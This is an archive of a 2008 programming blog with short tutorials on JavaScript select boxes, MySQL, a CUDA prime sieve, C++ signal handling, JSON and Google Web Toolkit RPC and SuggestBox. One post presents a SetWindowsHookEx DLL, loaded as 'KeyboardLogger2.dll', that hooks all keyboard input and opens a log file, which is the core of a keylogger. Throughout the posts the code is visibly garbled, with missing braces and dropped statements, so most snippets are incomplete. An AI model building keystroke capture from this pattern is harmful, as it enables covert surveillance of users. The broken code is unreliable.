Thursday, July 24, 2008

Javascript - Adding options to select box

Adding options to List Box in client side Javascript

Options to a drop down list box can be added dynamically using client side JavaScript.

function addOption(selectbox,text,value )
var optn = document.createElement("OPTION");
optn.text = text;
optn.value = value;

Note that each time the function is called, it adds a new option to the list box. So we can add one option by calling the function once. Like this.

addOption(document.drop_list.Month_list,”January”, “January”);

So this way we can create a drop down list box of all the months by calling the function each time for a month. So with this now you can easily create the list box. But we will add another step to this by using one array of months. So from the array of months we will loop through and add each month to the list box. Here is how to create the array

var month = new Array("January","February","March","April","May","June",

So now once our array is ready with data, we will loop through the array by using for loop and then call the addOption function using the data of the array. Here is the code.

for (var i=0; i < month.length;++i){
addOption(document.drop_list.Month_list, month[i], month[i]);

And if you want to clear the options use:

document.drop_list.Month_list.options.length = 0;

Monday, July 21, 2008

Mysql on update key

This is something cool that I found out today:

INSERT INTO table (a,b,c) VALUES (1,2,3),(4,5,6)

I've known about the on duplicate key but I would typically have to specify the values again. Here you can say values() and it will return what would have been inserted.

Very useful!
Iterate over map value in jstl

${entry.key} = ${entry.value}

Friday, July 18, 2008

SetWindowsHookEx Example

Here is an example of using SetWindowsHookEx.

First create a dll project with this cpp file

#include <windows.h>
#include <iostream>
#include <stdio.h>

HHOOK hhk;

LRESULT CALLBACK wireKeyboardProc(int code,WPARAM wParam,LPARAM lParam) {
FILE * fileLog = fopen("C:\\sknl.txt", "a+");
return 0;

extern "C" __declspec(dllexport) void install() {
hhk = SetWindowsHookEx(WH_KEYBOARD, wireKeyboardProc, hinst, NULL);
extern "C" __declspec(dllexport) void uninstall() {

__in DWORD fdwReason,
__in LPVOID lpvReserved
) {

hinst = hinstDLL;
return TRUE;

This method has a
* dllmain which simply records the HINSTANCE
* has an install and uninstall method
* defines the keyboardProc call back method

Now in another process ( this is important and is needed as SetWindowsHook will only work if your callback is in a dll and not in your own process) you simply loadlibrary and install.

int _tmain(int argc, _TCHAR* argv[])

HINSTANCE hinst = LoadLibrary(_T("KeyboardLogger2.dll"));
if (hinst == NULL)
printf("null hinst");
typedef void (*Install)();
typedef void (*Uninstall)();

Install install = (Install) GetProcAddress(hinst, "install");
Uninstall uninstall = (Uninstall) GetProcAddress(hinst, "uninstall");

int foo;
std::cin >> foo;

return 0;


Thursday, July 17, 2008

Netbeans - Shortcuts

Netbeans has a lot of neat shortcuts.

For example if you want to override a base class method, or create a getter, setter, or generate an equals or hashcode method you can do so easily by pressing alt-insert. This will bring up a dialog for you to choose what you want.

alt-shift-f will reformat your code to your liking

ctrl-click on an item will go to the definition of that item.

alt-o will bring up a dialog to search for by filename.

Cuda - Sieve of Eratosthenes

Here is an example of how to use cuda to find all prime numbers within a range.

Its uses the Sieve of Eratosthenes which creates an array initialized to 0 ( indicates prime) then you iterate over the array starting at zero and for each multiple of zero you mark it 1. You then move to the next element and repeat. When your down iterating all the primes are still marked as 0.

As an example cuda program I wrote the following kernel

__global__ static void Sieve(int * sieve,int sieve_size)
int idx = blockIdx.x * blockDim.x + threadIdx.x;
if (idx > 1) {
for(int i=idx+idx;i < sieve_size;i+=idx)
sieve[i] = 1;

The index is figured out by the special keywords blockidx, blockDim and threadIdx. I then go over the multiples for that index and mark them as not prime.

The code to call this looks like this:

/* Init CUDA */
bool InitCUDA(void)
int count = 0;
int i = 0;

if(count == 0) {
fprintf(stderr, "There is no device.\n");
return false;

for(i = 0; i < count; i++) {
cudaDeviceProp prop;
if(cudaGetDeviceProperties(&prop, i) == cudaSuccess) {
if(prop.major >= 1) {
if(i == count) {
fprintf(stderr, "There is no device supporting CUDA 1.x.\n");
return false;
return true;
int main(int argc, char** argv)

int *device_sieve;
int host_sieve[1000];
double sieve_size = sizeof(host_sieve)/sizeof(int);

if(!InitCUDA()) {
return 0;
cudaMalloc((void**) &device_sieve, sizeof(int) * sieve_size);

Sieve<<<1, sqrt(sieve_size), 0>>>(device_sieve, sieve_size);
cudaMemcpy(&host_sieve, device_sieve, sizeof(int) * sieve_size, cudaMemcpyDeviceToHost);


for(int i=2;i < sieve_size;++i)
if (host_sieve[i] == 0)
printf("%d is prime\n",i);

return 0;

For simplicity I simply create a new thread for each multiple. This is not very efficient as I may be using a value that is already found to not be prime.

Tuesday, July 8, 2008

wxWidgets keyboard shortcuts

If you create a menu bar with wxWidgets you can add a keyboard shortcut by specifying \t

For example if you have a zoom in action Then you may add a menu entry like so:

actionMenu->Append( kZoomInButtonId , "ZoomIn\tz" , "Click to zoom in on the current location.\n" );

Now if you press z it will execute this action.

C++ convert signals into exceptions

Here is a technique to convert signals into exceptions:

#include "signal.h"

template class SignalTranslator
class SingleTonTranslator
signal(SignalExceptionClass::GetSignalNumber(), SignalHandler);

static void SignalHandler(int)
std::cout << "Signal handled and logged" << std::endl;
throw SignalExceptionClass();

static SingleTonTranslator s_objTranslator;

class SegmentationFault : public std::exception
virtual const char* what() const throw() {
return "Segmentation Fault";
static int GetSignalNumber() {return SIGSEGV;}

I put the above in a SignalHandler.hpp. Then when I want to use it I include that file and instantiate the handlers that I want

// Set up signal handleing for Seg Fault. When SegFault occurs it will throw a exception
SignalTranslator g_objSegmentationFaultTranslator;

To test this code you can simply raise that exception ( raise(SIGSEGV); )

Friday, July 4, 2008

Google Web Toolkit - Suggest Box (RPC)

The Google Web Toolkit provides many advanced features to make a web page come alive. One feature that is used commonly in AJAX webpages is a select box that has context sensitive options.

I have already covered the SuggestBox, this article will focus on retrieving your suggestion through an asynchronous Javascript call. You may want to read the following articles as this article builds off some of those concepts.

* GWT suggest box
* GWT RPC Call

To create an RPC Suggest Box you will need to do the following
* Create a Service to serve your suggestions. This service will take an input and return a collection of data.
* Create an oracle that wraps the calls to the Service

Create Suggestion RPC Service

Your client side Suggestion box will fire an onchange event when the user enters a keystroke. When this happens you want to send over the entered text and instruct the control to suggest only items that match the pattern.

To do this we need to define a Service. As we saw in
GWT RPC Call we need to define two interfaces we'll call them:
  • IQuoteService
  • IQuoteServiceAsync

public interface IQuoteService extends RemoteService {

public static class Util {
public static IQuoteServiceAsync getInstance() {
IQuoteServiceAsync instance=(IQuoteServiceAsync) GWT.create(IQuoteService.class);
ServiceDefTarget target = (ServiceDefTarget) instance;
return instance;

public SuggestOracle.Response getQuote(SuggestOracle.Request req);

public interface IQuoteServiceAsync {
public void getQuote(SuggestOracle.Request req, AsyncCallback callback);

Your Oracle will need to return a class with a interface. To faciliate this we create a new class called ItemSuggestion.

Note: This class must reside on the client side else you will get serialization errors when you run the app.

public class ItemSuggestion implements IsSerializable, Suggestion {

private String s;
// Required for IsSerializable to work
public ItemSuggestion() {

// Convenience method for creation of a suggestion
public ItemSuggestion(String s) {
this.s = s;

public String getDisplayString() {
return s;

public String getReplacementString() {
return s;
} // end inner class ItemSuggestion

Now define the actual service on the server side:
public class RandomQuoteService extends RemoteServiceServlet implements IQuoteService {

public SuggestOracle.Response getQuote(SuggestOracle.Request req) {

// req has request properties that you can use to perform a db search
// or some other query. Then populate the suggestions up to req.getLimit() and
// return in a SuggestOracle.Response object.
SuggestOracle.Response resp = new SuggestOracle.Response();

List<suggestion> suggestions = new ArrayList<suggestion>();
suggestions.add(new ItemSuggestion("It is a good day to die"));
suggestions.add(new ItemSuggestion("I shall return"));
suggestions.add(new ItemSuggestion("There is nothing to fear but fear itself"));

return resp;
Create Suggestion Oracle

So far we've created our service now we need to create the Oracle.

You simply extend SuggestOracle and instruct it to use the Service for its suggestions.

public class ItemSuggestOracle extends SuggestOracle {

public boolean isDisplayStringHTML() {
return true;

public void requestSuggestions(SuggestOracle.Request req,SuggestOracle.Callback callback) {
IQuoteService.Util.getInstance().getQuote(req, new ItemSuggestCallback(req, callback));

class ItemSuggestCallback implements AsyncCallback {

private SuggestOracle.Request req;
private SuggestOracle.Callback callback;

public ItemSuggestCallback(SuggestOracle.Request _req,
SuggestOracle.Callback _callback) {
req = _req;
callback = _callback;

public void onFailure(Throwable error) {
callback.onSuggestionsReady(req, new SuggestOracle.Response());

public void onSuccess(Object retValue) {
(SuggestOracle.Response) retValue);

And now the result of all our work, we create a new SuggestBox with the new oracle.

public void display() {

ItemSuggestOracle oracle = new ItemSuggestOracle();
SuggestBox sb = new SuggestBox(oracle);

// Add it to the root panel.

That's it! It looks like its a lot of work but its mostly plumbing and you should find its pretty easy to do once you get the hang of it.

Give it a try and leave a comment to let me know how it goes.

JSON - JavaScript Object notation

JavaScript Object Notation is a data interchange format. The JSON format is often used for transmitting structured data over a network connection in a process called serialization. Its main application is in Ajax web application programming, where it serves as an alternative to the traditional use of the XML format.

A simple example is :

This script will popup an alert dialog box with the text 'John.'

The JSON block can support nested types as well as arrays. For example:

"firstName": "John",
"lastName": "Smith",
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": 10021
"phoneNumbers": [
"212 555-1234",
"646 555-4567"

Typically the JSON request will come from the server, or through a Ajax callback or some other technique. This approach is must easier to work with then returning XML that the JavaScript client then has to parse.

Thursday, July 3, 2008

Google Web Toolkit - Suggest Box

There seems to be some confusion on the web about whether GWT supports an auto completion widget. I suspect this is because the first version of GWT didn't support it.

However 1.4 sure does, its called SuggestBox. SuggestBox takes a SuggestOracle that contains the data you want and is responsible for returning suggestions.

Here is an example of how to use it:

MultiWordSuggestOracle oracle = new MultiWordSuggestOracle();

SuggestBox sb = new SuggestBox(oracle);

// Add it to the root panel.

Google Web Toolkit - RPC Call

This post will document how to make a RPC call using the Google Web Toolkit.

For a more detailed walk through of the Google Web Toolkit I recommend this book: Google Web Toolkit Applications

To sum it up you must create 1 class and 2 interfaces.

1) Service Interface that extends RemoteService and defines the methods for your service
2) Asynchrounous interface which is a similar to the the above except:
** doesn't extend RemoteService
** all method return void
** one extra AsyncCallBack parameter to each defined method
3) Your actual service which extends RemoteServiceServlet and implements your interface created in step (1)
** This should be a servlet and mapped properly in your web.xml

The two interfaces will need to be in the com.ciient package, and the service in the com.server or on someother url on the same host where this will be deployed.

So on to the code.

First the interfaces and classes, following by a sample app that calls it:

package com.client.time;
public interface ITimeService extends RemoteService {
public Date getDate();

package com.client.time;
public interface ITimeServiceAsync {
public void getDate(AsyncCallback callback);

package com.server.time;
public class TimeService extends RemoteServiceServlet implements ITimeService {

public Date getDate() {
return new Date();

public void loadDate(final Label label) {
ITimeServiceAsync timeService = (ITimeServiceAsync) GWT.create(ITimeService.class);

ServiceDefTarget endpoint = (ServiceDefTarget) timeService;

AsyncCallback callback = new AsyncCallback() {

public void onSuccess(Object result) {

public void onFailure(Throwable caught) {
label.setText("failure" + caught.getMessage());



Google Web Toolkit - Simple Example

The Google Web Toolkit (GWT) is a framework that allows for web development using Java. The framework will convert the Java code into html/javascript.

This approach makes developing and debugging feature rich clients much easier than writing javascript yourself.

To get familiar with the framework I wrote a simple getting started app inspired from the GWT docs. It simply creates a button, label and grid.

It adds an event to the button to hide the label. Also adds a TableListener to the grid. I use this to capture cell clicks and popup a dialog.

Reading the docs you can then style this using css with the following attributes:

* .gwt-DialogBox { the outside of the dialog }
* .gwt-DialogBox .Caption { the caption }

* Created on June 29, 2008, 1:46 PM
* To change this template, choose Tools | Template Manager
* and open the template in the editor.
package com.client;


* @author avalanche
public class mcintoshEntryPoint implements EntryPoint {

/** Creates a new instance of mcintoshEntryPoint */
public mcintoshEntryPoint() {

private static class MyDialog extends DialogBox {

public MyDialog(String text) {
// Set the dialog box's caption.

// DialogBox is a SimplePanel, so you have to set its widget property to
// whatever you want its contents to be.
Button ok = new Button("OK");
ok.addClickListener(new ClickListener() {

public void onClick(Widget sender) {

* The entry point method, called automatically by loading a module
* that declares an implementing class as an entry-point
public void onModuleLoad() {
final Label label = new Label("Hello, Chris!!!");
final Button button = new Button("Click me!");
final HTMLTable table = new Grid(5, 5);
// Put some values in the grid cells.
for (int row = 0; row < 5; ++row) {
for (int col = 0; col < 5; ++col) {
table.setText(row, col, "" + row + ", " + col);

button.addClickListener(new ClickListener() {

public void onClick(Widget w) {

table.addTableListener(new TableListener() {

public void onCellClicked(SourcesTableEvents arg0, int arg1, int arg2) {
new MyDialog("You clicked" + arg1 + "," + arg2).show();